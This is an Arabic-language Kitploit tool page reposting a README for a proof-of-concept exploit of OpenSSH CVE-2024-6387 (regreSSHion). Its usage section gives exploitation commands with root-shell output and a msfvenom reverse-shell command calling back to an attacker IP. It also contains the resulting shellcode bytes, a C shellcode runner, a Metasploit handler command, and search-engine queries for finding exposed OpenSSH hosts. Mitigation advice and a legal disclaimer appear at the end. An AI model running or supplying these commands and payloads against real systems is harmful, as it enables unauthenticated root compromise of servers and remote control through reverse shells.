Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-6387 | Kitploit
أدوات/GitHubGitHub/prelearn-code/cve-2024-6387
تحليل الثغرات الأمنيةالاستغلالشيل كوداختبار الاختراقالقيادة والسيطرةأداة الوصول عن بعدتطوير الحمولات
GitHubprelearn-code/cve-2024-6387

CVE-2024-6387

عرض المستودع
2منذ 2 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

إعادة نشر المقال الأصلي

openssh CVE-2024-6387 - PoC

📜 الوصف

ملاحظة: هذا السكربت هو نموذج أولي سريع للـ PoC، وقد تحدث بعض الأخطاء والعلل. تم الاختبار على: Kali Linux، ParrotSec، Ubuntu 22.04

ثغرة تنفيذ تعليمات برمجية عن بُعد بدون مصادقة في خادم OpenSSH

تم اكتشاف حالة سباق (race condition) في معالج الإشارات في خادم OpenSSH (sshd)، حيث لا يقوم العميل بالمصادقة خلال عدد الثواني المحدد في LoginGraceTime (120 افتراضيًا، و600 في إصدارات OpenSSH القديمة)، ثم يتم استدعاء معالج SIGALRM الخاص بـ sshd بشكل غير متزامن. ومع ذلك، يستدعي معالج الإشارات هذا دوالًا مختلفة ليست آمنة للإشارات غير المتزامنة (async-signal-safe)، مثل syslog().

📁 جدول المحتويات

  • 📖 التفاصيل
  • ⚙️ الاستخدام
  • 🔍 اكتشاف المضيفين
  • 🛠️ التخفيف
  • 💁 المراجع
  • 📌 المؤلف
  • 📢 إخلاء المسؤولية

✍🏻 التفاصيل

يمكنك العثور على التفاصيل التقنية هنا.

يعود هذا العيب، الذي اكتشفه باحثون في Qualys في May 2024، والذي مُنح المعرّف CVE-2024-6387، إلى حالة سباق (race condition) في معالج الإشارات في sshd تسمح للمهاجمين عن بُعد بدون مصادقة بتنفيذ تعليمات برمجية عشوائية بصلاحيات الجذر (root).

"إذا لم يقم العميل بالمصادقة خلال عدد الثواني المحدد في LoginGraceTime (120 افتراضيًا)، فسيتم استدعاء معالج SIGALRM الخاص بـ sshd بشكل غير متزامن ويستدعي دوالًا مختلفة ليست آمنة للإشارات غير المتزامنة،"

"يمكن لمهاجم عن بُعد بدون مصادقة استغلال هذا العيب لتنفيذ تعليمات برمجية عشوائية بصلاحيات الجذر (root)."

⚙️ الاستخدام

فحص خادم OpenSSH

المتطلب: أحدث إصدار من python3

root@kitploit:~
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --port 22

 ██████╗ ██████╗ ███████╗███╗   ██╗███████╗███████╗██╗  ██╗
██╔═══██╗██╔══██╗██╔════╝████╗  ██║██╔════╝██╔════╝██║  ██║
██║   ██║██████╔╝█████╗  ██╔██╗ ██║███████╗███████╗███████║
██║   ██║██╔═══╝ ██╔══╝  ██║╚██╗██║╚════██║╚════██║██╔══██║
╚██████╔╝██║     ███████╗██║ ╚████║███████║███████║██║  ██║
 ╚═════╝ ╚═╝     ╚══════╝╚═╝  ╚═══╝╚══════╝╚══════╝╚═╝  ╚═╝
   Author: l0n3m4n / Scanner: @xaitax / PoC: @7etsuo 
    
Exploiting vulnerabilities...
Attempting exploitation with glibc base: 0xb7200000
Attempt 0 of 20000
Received SSH version: SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6
Received KEX_INIT (1024 bytes)
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
send_packet: Resource temporarily unavailable
.....
Exploitation successful..!

~# whoami && id
root
uid=0(root) gid=0(root) groups=0(root) 

التصدير (csv,txt,json)

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -o json -f result.json

أهداف متعددة

root@kitploit:~
$ python3 CVE-2024-6387.py -s targets.txt -p 22 -o json -f result.json

إضافة مهلة زمنية

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 22 -t 10 -o json -f result.json

نطاقات الشبكة

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101/24 -p 22 -t 5 -o json -f result.json

منفذ مخصص

root@kitploit:~
$ python3 CVE-2024-6387.py -s 192.168.56.101 -p 2244 -t 5 -o json -f result.json

عملية تصعيد الصلاحيات

الحصول على Reverse Shell

root@kitploit:~
# Generating a shellcode 
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes

unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

حمولة مخصصة

root@kitploit:~
#include <stdio.h>

// A placeholder of your custom payload 
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";

int main() {
    // Execute shellcode
    printf("Executing shellcode...\n");
    void (*sc)() = (void(*)())shellcode;
    sc();

    return 0;
}

الحمولة الفعلية

root@kitploit:~
#include <stdio.h>
 

#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)

// Possible glibc base addresses (for ASLR bypass)
uint64_t GLIBC_BASES[] = { 0xb7200000, 0xb7400000 };
int NUM_GLIBC_BASES = sizeof (GLIBC_BASES) / sizeof (GLIBC_BASES[0]);

// Shellcode placeholder (replace with actual shellcode)
unsigned char shellcode[] = "\x90\x90\x90\x90";

ترجمة الحمولة وتشغيلها

root@kitploit:~
# compiling payload
$ gcc -shared -o exploit.so -fPIC 7etsuo-regreSSHion.c 

تنفيذ الحمولة

root@kitploit:~
# Once you receive a successful exploitation message, the msfconsole automatically initiates a Meterpreter session.
$ python3 CVE-2024-6387.py --exploit 192.168.56.101 --p 22 

استقبال الحمولة

root@kitploit:~
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 192.168.56.100; set LPORT 9999; exploit -j"

🔍 اكتشاف المضيفين

  • Hunter: /product.name="OpenSSH"
  • FOFA: app="OpenSSH"
  • SHODAN: product:"OpenSSH"
  • CENSYS: (openssh) and labels=remote-access

🛠️ التخفيف

  • إدارة التصحيحات: يعد تطبيق التصحيحات المتوفرة لـ OpenSSH بسرعة أمرًا بالغ الأهمية لسد الفجوة الأمنية للثغرة. يضمن التصحيح في الوقت المناسب عدم إمكانية استغلال الثغرات المعروفة ضد أنظمتك، مما يقلل من نافذة الفرصة المتاحة للمهاجمين.

  • تعزيز التحكم في الوصول: تحديد الوصول إلى SSH عبر ضوابط قائمة على الشبكة يضيف طبقة دفاع إضافية. يقلل هذا النهج من التعرض للمهاجمين المحتملين عن طريق تقييد اتصالات SSH بالشبكات أو عناوين IP المصرح بها فقط. يمكن أن يؤدي تنفيذ أدوات مثل قواعد جدار الحماية أو استخدام شبكات VPN للوصول الآمن إلى فرض هذه القيود بفعالية.

  • تقسيم الشبكة: تقسيم شبكتك إلى قطاعات يساعد في احتواء تأثير الاختراق المحتمل. من خلال فصل الأنظمة الحيوية والبيانات الحساسة عن الأجزاء الأقل أهمية في شبكتك، تقلل من خطر التنقل الجانبي (lateral movement) من قبل المهاجمين. يمكن استكمال هذا التقسيم بضوابط وصول صارمة ومراقبة لاكتشاف أي محاولات غير مصرح بها لاختراق هذه القطاعات والاستجابة لها.

  • أنظمة كشف التسلل (IDS): يتيح نشر أنظمة كشف التسلل (IDS) أو أنظمة منع التسلل (IPS) مراقبة حركة مرور الشبكة وسجلات النظام في الوقت الفعلي. يمكن لهذه الأنظمة اكتشاف الأنشطة المشبوهة ومحاولات الاستغلال المحتملة المرتبطة بثغرة regreSSHion. تسمح التنبيهات التي تصدرها هذه الأنظمة بالتحقيق والتخفيف الفوري قبل حدوث أضرار جسيمة.

  • مراقبة محاولات الاستغلال: المراقبة المستمرة لسجلات الشبكة والنظام أمر بالغ الأهمية. ابحث عن أي أنماط أو أنشطة غير معتادة قد تشير إلى محاولة استغلال ثغرة OpenSSH. يساعد هذا النهج الاستباقي في تحديد التهديدات والاستجابة لها قبل أن تسبب ضررًا.

💁 المراجع

  • المؤلف الأصلي: CVE-2024-6387 Scanner
  • المؤلف الأصلي: CVE-2024-6387 PoC

مراجع إضافية

  • http://www.openwall.com/lists/oss-security/2024/07/01/12
  • https://access.redhat.com/security/cve/CVE-2024-6387
  • https://bugzilla.redhat.com/show_bug.cgi?id=2294604
  • https://www.qualys.com/2024/07/01/cve-2024-6387/regresshion.txt
  • https://github.com/zgzhang/cve-2024-6387-poc
  • https://ubuntu.com/security/CVE-2024-6387
  • https://ubuntu.com/security/notices/USN-6859-1
  • https://www.suse.com/security/cve/CVE-2024-6387.html
  • https://explore.alas.aws.amazon.com/CVE-2024-6387.html
  • https://archlinux.org/news/the-sshd-service-needs-to-be-restarted-after-upgrading-to-openssh-98p1/
  • https://www.openssh.com/txt/release-9.8
  • https://lists.mindrot.org/pipermail/openssh-unix-announce/2024-July/000158.html
  • https://lists.mindrot.org/pipermail/openssh-unix-dev/2024-July/041431.html
  • https://blog.qualys.com/vulnerabilities-threat-research/2024/07/01/regresshion-remote-unauthenticated-code-execution-vulnerability-in-openssh-server
  • https://www.theregister.com/2024/07/01/regresshion_openssh/
  • https://news.ycombinator.com/item?id=40843778

📌 المؤلف

  • Facebook
  • Twitter (X)
  • Medium
  • الموقع الإلكتروني

📢 إخلاء المسؤولية

  • ملاحظة هامة:
    • تم تطوير هذه الأداة واستخدامها حصريًا لاختبارات الاختراق المصرح بها وتمارين الفريق الأحمر فقط. صُممت لتحديد واستغلال الثغرات في خادم OpenSSH على أنظمة Linux القائمة على glibc. الاستخدام غير المصرح به لهذه الأداة ممنوع منعًا باتًا، ومالك هذه الأداة غير مسؤول عن أي وصول غير مصرح به أو استخدام ضار للأداة.
  • إشعار قانوني:
    • قد يشكل الاستخدام غير المصرح به لهذه الأداة على الأنظمة أو الشبكات دون إذن صريح من المالكين المعنيين انتهاكًا للقوانين واللوائح المعمول بها. يتحمل المستخدمون مسؤولية ضمان الامتثال للمعايير القانونية والأخلاقية التي تحكم اختبارات وتقييمات الأمن السيبراني.
تنزيل الأداة
  • https://security-tracker.debian.org/tracker/CVE-2024-6387
  • https://github.com/oracle/oracle-linux/issues/149
  • https://github.com/rapier1/hpn-ssh/issues/87
  • https://stackdiary.com/openssh-race-condition-in-sshd-allows-remote-code-execution/
  • https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2024-0010
  • http://www.openwall.com/lists/oss-security/2024/07/01/13
  • https://security.netapp.com/advisory/ntap-20240701-0001/